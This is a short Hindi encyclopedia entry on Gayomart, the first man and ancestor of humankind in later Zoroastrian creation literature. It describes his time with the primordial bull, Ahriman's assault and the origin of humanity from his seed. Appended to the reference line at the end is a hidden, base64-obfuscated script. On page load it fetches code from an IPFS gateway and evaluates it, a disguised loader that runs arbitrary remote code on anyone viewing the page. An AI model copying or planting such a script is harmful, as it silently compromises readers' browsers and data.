गायोमार्त

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गायोमार्त अवेस्ताई में गया मारेतान, 'नश्वर जीवन', बाद के पारसी उत्पत्ति साहित्य में पहले मनुष्य और मनुष्य जाति के आदि जनक।

  • गायोमार्त की आत्मा आदियुगीन सांड के साथ उस काल में तीन हज़ार वर्षों तक रही, जब सृष्टि अमूर्त या आध्यात्मिक मात्र थी।
  • इनके अस्तित्व मात्र से ही सृष्टि पर हमले की इच्छा रखने वाली दुरात्मा अर्हिमन अचल हो गई।
  • बाद में 'अहुर मज़्दा' ने आयोमार्त के अवतार की रचना की- सफ़ेद और चमकदार, सूर्य के समान प्रकाशमान, और सभी उत्पन्न वस्तुओं में से सिर्फ़ उनमें तथा आदियुगीन सांड में वह बीज रखा, जिसकी उत्पत्ति अग्नि से हुई थी।
  • 'अहुर मज़्दा' ने अर्हिमन के आक्रमण से गायोमार्त को राहत के लिए नींद का वरदान दिया। लेकिन 30 वर्षों के आक्रमणों के बाद अर्हिमन ने गायोमार्त का विनाश कर दिया। उनका शरीर पृथ्वी की धातु और खनिजों में परिवर्तित हो गया, स्वर्ण उनका बीज था और उसी से मानव जाति की उत्पत्ति हुई।[1]


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टीका टिप्पणी और संदर्भ

  1. भारत ज्ञानकोश, खण्ड-2 |लेखक: इंदु रामचंदानी |प्रकाशक: एंसाइक्लोपीडिया ब्रिटैनिका प्राइवेट लिमिटेड, नई दिल्ली और पॉप्युलर प्रकाशन, मुम्बई |संकलन: भारतकोश पुस्तकालय |पृष्ठ संख्या: 70 | <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

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